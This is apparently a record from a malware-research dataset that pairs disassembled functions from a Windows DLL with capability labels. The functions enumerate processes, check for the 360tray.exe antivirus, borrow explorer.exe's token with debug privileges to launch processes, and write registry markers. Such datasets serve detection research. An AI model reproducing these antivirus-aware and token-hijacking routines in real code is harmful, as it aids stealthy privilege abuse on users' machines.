joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001000
Capabilities:
Enumerate process modules
Get process image filename

Disassembly:
mov eax, 0x1458
call fcn.10086f60
sub rsp, rax
mov rax, qword [0x100b4478]
xor rax, rsp
mov qword [rsp + 0x1430], rax
lea rcx, [rsp + 0x34]
xor edx, edx
mov r8d, 0xffc
mov qword [rsp + 0x1448], r14
mov dword [rsp + 0x30], 0
call fcn.10025bb0
lea rcx, [rsp + 0x1031]
xor edx, edx
mov r8d, 0x3ff
mov dword [rsp + 0x20], 0
mov byte [rsp + 0x1030], 0
call fcn.10025bb0
mov qword [rsp + 0x1460], rbx
mov qword [rsp + 0x1468], rbp
mov qword [rsp + 0x1470], rsi
mov qword [rsp + 0x1478], rdi
mov r14d, 1
mov qword [rsp + 0x1450], r12
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov edx, 0x1000
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x10001094
mov r12d, dword [rsp + 0x20]
mov ebx, 0
shr r12d, 2
mov rbp, rbx
je 0x10001094
nop
nop
lea rcx, [rsp + 0x1030]
xor edx, edx
mov r8d, 0x400
call fcn.10025bb0
mov r8d, dword [rsp + rbp*4 + 0x30]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
mov rsi, rax
je 0x1000117b
lea rdx, [rsp + 0x1030]
mov r8d, 0x400
mov rcx, rax
call sub.PSAPI.DLL_GetProcessImageFileNameA
xor edi, edi
mov rcx, rsi
test eax, eax
cmovne edi, r14d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1000117b
xor eax, eax
lea rdi, [rsp + 0x1030]
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdi, str.Windowsexplorer.exe
not rcx
lea rdx, [rcx - 1]
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
sub rcx, r14
cmp edx, ecx
jl 0x1000117b
sub edx, ecx
lea rdi, str.Windowsexplorer.exe
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movsxd rax, edx
lea rsi, [rsp + rax + 0x1030]
repe cmpsb byte [rsi], byte [rdi]
je 0x10001190
add ebx, r14d
add rbp, 1
cmp ebx, r12d
jb 0x100010d0
jmp 0x10001094
mov eax, dword [rsp + rbp*4 + 0x30]
mov r14, qword [rsp + 0x1448]
mov r12, qword [rsp + 0x1450]
mov rbp, qword [rsp + 0x1468]
mov rdi, qword [rsp + 0x1478]
mov rsi, qword [rsp + 0x1470]
mov rbx, qword [rsp + 0x1460]
mov rcx, qword [rsp + 0x1430]
xor rcx, rsp
call fcn.10021bf0
add rsp, 0x1458
ret
Function at 0x100011e0
Capabilities:
Acquire debug privileges
Create process on windows

Disassembly:
mov rax, rsp
sub rsp, 0x128
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
xor edi, edi
mov qword [rax - 8], r12
mov rsi, rcx
mov dword [rsp + 0x78], edi
call section..text
lea rdx, [rsp + 0x60]
mov ecx, eax
mov dword [rsp + 0x60], edi
mov qword [rsp + 0x68], rdi
mov ebx, eax
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x80], rdi
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov ecx, dword [rsp + 0x60]
lea rdx, [rsp + 0x68]
call sub.WTSAPI32.dll_WTSQueryUserToken
mov r12d, 0x400
test eax, eax
jne 0x10001277
mov r8d, ebx
xor edx, edx
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
mov rbx, rax
je 0x10001277
lea r8, [rsp + 0x68]
mov edx, 0xf00ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x10001408
mov r9d, 8
lea rax, [rsp + 0x78]
lea r8, [rsp + 0xa0]
lea edx, [r9 + 0xb]
mov qword [rsp + 0x138], rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebp, 1
test eax, eax
jne 0x100012fa
lea r8, [rsp + 0xa8]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsp + 0x68]
lea r11, [rsp + 0x70]
mov qword [rsp + 0x28], r11
mov r9d, ebp
xor r8d, r8d
mov edx, 0x2000000
mov dword [rsp + 0x20], ebp
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov rdx, qword [rsp + 0x70]
jmp 0x10001307
mov rdx, qword [rsp + 0xa0]
mov qword [rsp + 0x70], rdx
lea rcx, [rsp + 0x80]
mov r8d, ebp
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
mov ebx, edi
lea rcx, [rsp + 0xb0]
test eax, eax
cmovne ebx, r12d
xor edx, edx
lea r8d, [rdx + 0x68]
call fcn.10025bb0
mov rcx, qword [rsp + 0x70]
xor eax, eax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
lea rax, [rsp + 0x88]
xor r9d, r9d
mov r8, rsi
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0xb0]
xor edx, edx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0xb0], WSAGetLastError
mov dword [rsp + 0xec], ebp
mov word [rsp + 0xf0], 5
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov rcx, qword [rsp + 0x88]
test eax, eax
cmovne edi, ebp
test rcx, rcx
mov rbp, qword [rsp + 0x138]
je 0x100013d5
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x100013e8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x100013f8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x10001408
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12, qword [rsp + 0x120]
mov rsi, qword [rsp + 0x140]
mov rbx, qword [rsp + 0x130]
mov eax, edi
mov rdi, qword [rsp + 0x148]
add rsp, 0x128
ret
Function at 0x100018a0
Capabilities:
Hash data with md5

Disassembly:
mov r11, rsp
sub rsp, 0xf8
mov rax, qword [0x100b4478]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
mov qword [r11 - 8], rdi
mov qword [r11 - 0x10], r12
mov r12, rcx
mov esi, reloc.WS2_32.dll_recv
mov qword [r11 - 0x18], r13
mov rcx, rsi
call fcn.10021ff0
lea ecx, [rsi + 0x11]
mov r13, rax
call fcn.10021ff0
mov rcx, 0xffffffffffffffff
mov rbp, rax
xor eax, eax
mov rdi, r12
mov qword [rbp], rax
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rax
mov byte [rbp + 0x20], al
repne scasb al, byte [rdi]
not rcx
mov qword [r13], rax
mov qword [r13 + 8], rax
sub rcx, 1
mov rbx, rcx
je 0x10001a83
mov qword [rsp + 0xd8], r14
xor r14d, r14d
lea eax, [rbx*8]
lea ecx, [r14 + rcx*8]
mov edx, r14d
mov qword [rsp + 0x78], r14
shr edx, 3
mov edi, r14d
mov dword [rsp + 0x20], 0x67452301
and edx, 0x3f
cmp ecx, eax
mov dword [rsp + 0x24], 0xefcdab89
mov dword [rsp + 0x28], 0x98badcfe
mov dword [rsp + 0x2c], 0x10325476
mov qword [rsp + 0x80], r14
mov qword [rsp + 0x88], r14
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], r14
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0xa8], r14
mov qword [rsp + 0xb0], r14
mov byte [rsp + 0x78], 0x80
mov dword [rsp + 0x30], ecx
jae 0x100019ba
add edi, 1
mov eax, ebx
shr eax, 0x1d
add edi, eax
mov dword [rsp + 0x34], edi
mov edi, 0x40
sub edi, edx
cmp ebx, edi
jb 0x10001a1e
test edi, edi
movsxd rax, edx
je 0x100019e7
lea rcx, [rsp + rax + 0x38]
mov r8d, edi
mov rdx, r12
call fcn.10023d50
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.10005020
lea eax, [rdi + 0x3f]
cmp eax, ebx
jae 0x10001a19
nop
mov edx, edi
lea rcx, [rsp + 0x20]
add rdx, r12
call fcn.10005020
add edi, 0x40
lea eax, [rdi + 0x3f]
cmp eax, ebx
jb 0x10001a00
mov edx, r14d
jmp 0x10001a21
mov edi, r14d
sub ebx, edi
mov r14, qword [rsp + 0xd8]
movsxd rax, edi
movsxd rcx, edx
je 0x10001a44
lea rcx, [rsp + rcx + 0x38]
lea rdx, [rax + r12]
mov r8d, ebx
call fcn.10023d50
lea rcx, [rsp + 0x20]
mov rdx, r13
call fcn.100059c0
mov rdi, r13
mov rbx, rbp
nop
nop
nop
movzx r8d, byte [rdi]
lea rdx, str._02X
mov rcx, rbx
call fcn.10021ca0
add rbx, 2
add rdi, 1
sub rsi, 1
jne 0x10001a60
jmp 0x10001ab9
mov rax, qword [str.00000000000000000000000000000000]
mov qword [rbp], rax
mov rax, qword [0x100a1558]
mov qword [rbp + 8], rax
mov rax, qword [0x100a1560]
mov qword [rbp + 0x10], rax
mov rax, qword [0x100a1568]
mov qword [rbp + 0x18], rax
movzx eax, byte [0x100a1570]
mov byte [rbp + 0x20], al
mov rcx, r13
call fcn.10021fb0
mov r13, qword [rsp + 0xe0]
mov r12, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0x118]
mov rbx, qword [rsp + 0x108]
mov rax, rbp
mov rbp, qword [rsp + 0x110]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.10021bf0
add rsp, 0xf8
ret
Function at 0x10001b10
Capabilities:
Enumerate processes

Disassembly:
mov r11, rsp
sub rsp, 0x168
mov rax, qword [0x100b4478]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
xor ebx, ebx
lea ecx, [rbx + 2]
xor edx, edx
mov qword [r11 + 0x20], rdi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
mov rdi, rax
call sub.KERNEL32.dll_Process32First
lea esi, [rbx + 1]
nop
lea rdx, str.360tray.exe
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea rdx, [rsp + 0x20]
mov rcx, rdi
test eax, eax
cmove ebx, esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10001b60
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x188]
mov rsi, qword [rsp + 0x180]
mov eax, ebx
mov rbx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.10021bf0
add rsp, 0x168
ret
Function at 0x10001bd0
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
sub rsp, 0x298
mov rax, qword [0x100b4478]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov qword [r11 + 8], rbx
lea rax, [rsp + 0x50]
mov qword [r11 + 0x18], rsi
mov rsi, rcx
lea rdx, str.SOFTWAREMicrosoft
xor ebx, ebx
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x50], rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001d8c
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x103
mov qword [rsp + 0x2a8], rbp
mov byte [rsp + 0x60], bl
mov ebp, ebx
call fcn.10025bb0
lea rcx, [rsp + 0x171]
xor edx, edx
mov r8d, 0x103
mov dword [rsp + 0x44], 0x104
mov byte [rsp + 0x170], bl
call fcn.10025bb0
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x170]
lea r9, [rsp + 0x44]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x48]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x28], rax
xor edx, edx
mov dword [rsp + 0x40], 0x104
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x48], 1
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x10001d84
mov qword [rsp + 0x2b8], rdi
nop
xor eax, eax
lea rdi, [rsp + 0x60]
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
je 0x10001d0b
lea rax, [rsp + 0x60]
mov rdi, rsi
sub rdi, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + rdi]
sub edx, ecx
jne 0x10001d07
add rax, 1
test ecx, ecx
jne 0x10001cf4
test edx, edx
je 0x10001d77
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x104
add ebp, 1
mov dword [rsp + 0x44], 0x104
mov dword [rsp + 0x40], 0x104
call fcn.10025bb0
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x38], rdx
lea rax, [rsp + 0x170]
lea r9, [rsp + 0x44]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x48]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov edx, ebp
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
je 0x10001cd0
jmp 0x10001d7c
mov ebx, 1
mov rdi, qword [rsp + 0x2b8]
mov rbp, qword [rsp + 0x2a8]
mov rcx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x2b0]
test rcx, rcx
je 0x10001da4
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.10021bf0
add rsp, 0x298
ret
Function at 0x10002170
Capabilities:
Enumerate processes

Disassembly:
mov r11, rsp
sub rsp, 0x388
mov rax, qword [0x100b4478]
xor rax, rsp
mov qword [rsp + 0x370], rax
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
mov qword [r11 - 8], rdi
xor edi, edi
mov rbp, rcx
lea ecx, [rdi + 2]
xor edx, edx
mov esi, edi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x130
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32First
nop
nop
nop
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100021f9
lea rdx, [rsp + 0x40]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100021d0
jmp 0x100021fd
mov esi, dword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
xor edx, edx
mov ecx, 0x1f0fff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r8, [rsp + 0x30]
mov edx, 8
mov rcx, rax
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100022a3
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov esi, 1
lea r8, [rsp + 0x170]
mov edx, esi
mov r9d, 0x200
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1000228d
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.ConvertSidToStringSidW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x170]
mov rdx, rbp
call rax
test eax, eax
cmovne edi, esi
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rdi, qword [rsp + 0x380]
mov rsi, qword [rsp + 0x3a8]
mov rbp, qword [rsp + 0x3a0]
mov rbx, qword [rsp + 0x398]
mov rcx, qword [rsp + 0x370]
xor rcx, rsp
call fcn.10021bf0
add rsp, 0x388
ret
Function at 0x100022e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
sub rsp, 0x198
mov rax, qword [0x100b4478]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
mov qword [r11 - 8], r12
xor r12d, r12d
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x103
mov qword [rsp + 0x50], r12
mov dword [rsp + 0x40], r12d
mov byte [rsp + 0x60], r12b
mov qword [r11 - 0x10], r13
mov dword [rsp + 0x44], 0xff
call fcn.10025bb0
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x48], r12
call fcn.10002170
mov rbp, qword [rsp + 0x48]
mov qword [rsp + 0x38], r12
xor eax, eax
mov qword [rsp + 0x30], r12
mov rdi, rbp
mov rcx, 0xffffffffffffffff
mov r8, rbp
xor edx, edx
repne scasw ax, word [rdi]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
not rcx
lea r9d, [rcx - 1]
lea rsi, [rcx - 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
lea eax, [rsi + rsi + 1]
movsxd rdi, eax
mov rcx, rdi
call fcn.10021ff0
mov r8, rdi
xor edx, edx
mov rcx, rax
mov r13, rax
call fcn.10025bb0
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov r9d, esi
mov r8, rbp
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rdx, str._sSoftwareMicrosoft
lea rcx, [rsp + 0x60]
mov r8, r13
call fcn.10021ca0
lea rdx, [rsp + 0x50]
mov r9d, 0x2001f
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x60]
xor r8d, r8d
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rdi, qword [rsp + 0x1b8]
mov rsi, qword [rsp + 0x1b0]
test eax, eax
mov rbp, qword [rsp + 0x1a8]
mov rbx, qword [rsp + 0x1a0]
jne 0x10002477
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x44]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
lea rdx, str.count_a0b1c2d3
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x50]
mov r12d, 1
test eax, eax
cmove r12d, dword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, r13
call fcn.10021fb0
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r13, qword [rsp + 0x188]
mov eax, r12d
mov r12, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.10021bf0
add rsp, 0x198
ret
Function at 0x100024c0
Capabilities:
Check if file exists
Set registry value
Write file on windows

Disassembly:
sub rsp, 0x58
test r8d, r8d
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rdi
mov ebx, r9d
mov rsi, rdx
mov rdi, rcx
jne 0x1000253d
test r9d, r9d
je 0x100024fa
lea rcx, str.360tray.exe
call fcn.10001b10
test eax, eax
jne 0x100025b7
mov ebx, dword [rsp + 0x80]
test ebx, ebx
je 0x1000251f
cmp ebx, 1
jl 0x100025b7
call fcn.100022e0
xor edx, edx
div ebx
test edx, edx
jne 0x100025b7
mov rdx, rsi
mov rcx, rdi
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x50]
add rsp, 0x58
jmp fcn.10001dd0
mov qword [rsp + 0x48], rbp
call fcn.100018a0
mov rcx, rax
mov rbp, rax
call fcn.10001bd0
test eax, eax
jne 0x100025aa
test ebx, ebx
je 0x1000256a
lea rcx, str.360tray.exe
call fcn.10001b10
test eax, eax
jne 0x100025aa
mov rdx, rsi
mov rcx, rdi
call fcn.10001dd0
test eax, eax
je 0x100025aa
lea rax, [0x100a15fc]
lea rdx, str.SOFTWAREMicrosoft
mov r9d, 1
mov r8, rbp
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov rcx, rbp
call fcn.10021fb0
mov rbp, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x50]
add rsp, 0x58
ret

Function at 0x10002e70
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
cmp edx, 1
jne 0x10002ee0
lea r9, str.dl_exist_sign_sys
xor ecx, ecx
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10002eb1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x30
pop rbx
ret
lea rax, [rsp + 0x48]
lea r8, [0x100025d0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x30
pop rbx
ret
Function at 0x100048c0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x68
mov rax, qword [0x100b4478]
xor rax, rsp
mov qword [rsp + 0x20], rax
test r9d, r9d
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x48], rdi
mov rbp, rdx
mov rsi, rcx
mov rdi, r8
jle 0x100049d7
mov qword [rsp + 0x40], r12
lea r12d, [r9 - 1]
mov qword [rsp + 0x38], r13
shr r12d, 3
mov qword [rsp + 0x60], rbx
add r12d, 1
nop
movzx eax, byte [rbp]
lea rcx, [rsi + 0x80]
mov r8, rdi
mov byte [rdi], al
movzx eax, byte [rbp + 1]
mov rdx, rdi
mov byte [rdi + 1], al
movzx eax, byte [rbp + 2]
mov byte [rdi + 2], al
movzx eax, byte [rbp + 3]
mov byte [rdi + 3], al
movzx eax, byte [rbp + 4]
mov byte [rdi + 4], al
movzx eax, byte [rbp + 5]
mov byte [rdi + 5], al
movzx eax, byte [rbp + 6]
mov byte [rdi + 6], al
movzx eax, byte [rbp + 7]
mov byte [rdi + 7], al
mov rbx, qword [rbp]
call fcn.10003d80
movzx r11d, byte [rsi + 0x100]
add rdi, 8
add rbp, 8
xor byte [rdi - 8], r11b
movzx eax, byte [rsi + 0x101]
xor byte [rdi - 7], al
movzx eax, byte [rsi + 0x102]
xor byte [rdi - 6], al
movzx eax, byte [rsi + 0x103]
xor byte [rdi - 5], al
movzx eax, byte [rsi + 0x104]
xor byte [rdi - 4], al
movzx eax, byte [rsi + 0x105]
xor byte [rdi - 3], al
movzx eax, byte [rsi + 0x106]
xor byte [rdi - 2], al
movzx eax, byte [rsi + 0x107]
xor byte [rdi - 1], al
sub r12, 1
mov qword [rsi + 0x100], rbx
jne 0x10004910
mov r13, qword [rsp + 0x38]
mov r12, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x20]
xor rcx, rsp
call fcn.10021bf0
add rsp, 0x68
ret
Function at 0x10023c97
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x100b4478]
jne 0x10021c0a
rol rcx, 0x10
test cx, 0xffff
jne 0x10021c06
repz ret
ror rcx, 0x10
jmp 0x10023bf0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x100b64d0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x100b65c8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x10023c75
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x100b64d0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x10023c97
mov rax, qword [rsp + 0x88]
mov qword [0x100b65c8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x100b6568], rax
mov rax, qword [0x100b65c8]
mov qword [0x100b6440], rax
mov rax, qword [rsp + 0x90]
mov qword [0x100b6550], rax
mov dword [0x100b6430], 0xc0000409
mov dword [0x100b6434], 1
mov rax, qword [0x100b4478]
mov qword [rsp + 0x68], rax
mov rax, qword [0x100b4480]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x100b64c8], eax
mov ecx, 1
call fcn.10025b90
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x10088720]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x100b64c8], 0
jne 0x10023d1e
mov ecx, 1
call fcn.10025b90
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1002e770
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 8], r12
mov qword [rax - 0x10], r13
mov r13, rcx
mov edi, r8d
mov r12, rdx
call fcn.10025d10
xor ebx, ebx
cmp qword [0x100b7148], rbx
mov rsi, rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], ebx
jne 0x1002e8a1
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rbp, rax
jne 0x1002e7d3
xor eax, eax
jmp 0x1002e981
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1002e7cc
mov rcx, rax
call fcn.10025ca0
lea rdx, str.GetActiveWindow
mov rcx, rbp
mov qword [0x100b7148], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.10025ca0
lea rdx, str.GetLastActivePopup
mov rcx, rbp
mov qword [0x100b7150], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.10025ca0
lea rcx, [rsp + 0x30]
mov qword [0x100b7158], rax
call fcn.100254d0
test eax, eax
je 0x1002e857
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.10022140
cmp dword [rsp + 0x30], 2
jne 0x1002e8a1
lea rdx, str.GetUserObjectInformationA
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.10025ca0
test rax, rax
mov qword [0x100b7168], rax
je 0x1002e8a1
lea rdx, str.GetProcessWindowStation
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.10025ca0
mov qword [0x100b7160], rax
mov rcx, qword [0x100b7160]
cmp rcx, rsi
je 0x1002e933
cmp qword [0x100b7168], rsi
je 0x1002e933
call fcn.10025d70
call rax
test rax, rax
mov rbp, rax
je 0x1002e8fe
mov rcx, qword [0x100b7168]
call fcn.10025d70
lea rcx, [rsp + 0x38]
mov r9d, reloc.WS2_32.dll_inet_ntoa
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x40]
mov rcx, rbp
call rax
test eax, eax
je 0x1002e8fe
test byte [rsp + 0x48], 1
jne 0x1002e933
lea rcx, [rsp + 0x34]
call fcn.10025520
test eax, eax
je 0x1002e920
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.10022140
cmp dword [rsp + 0x34], 4
jb 0x1002e92d
bts edi, 0x15
jmp 0x1002e967
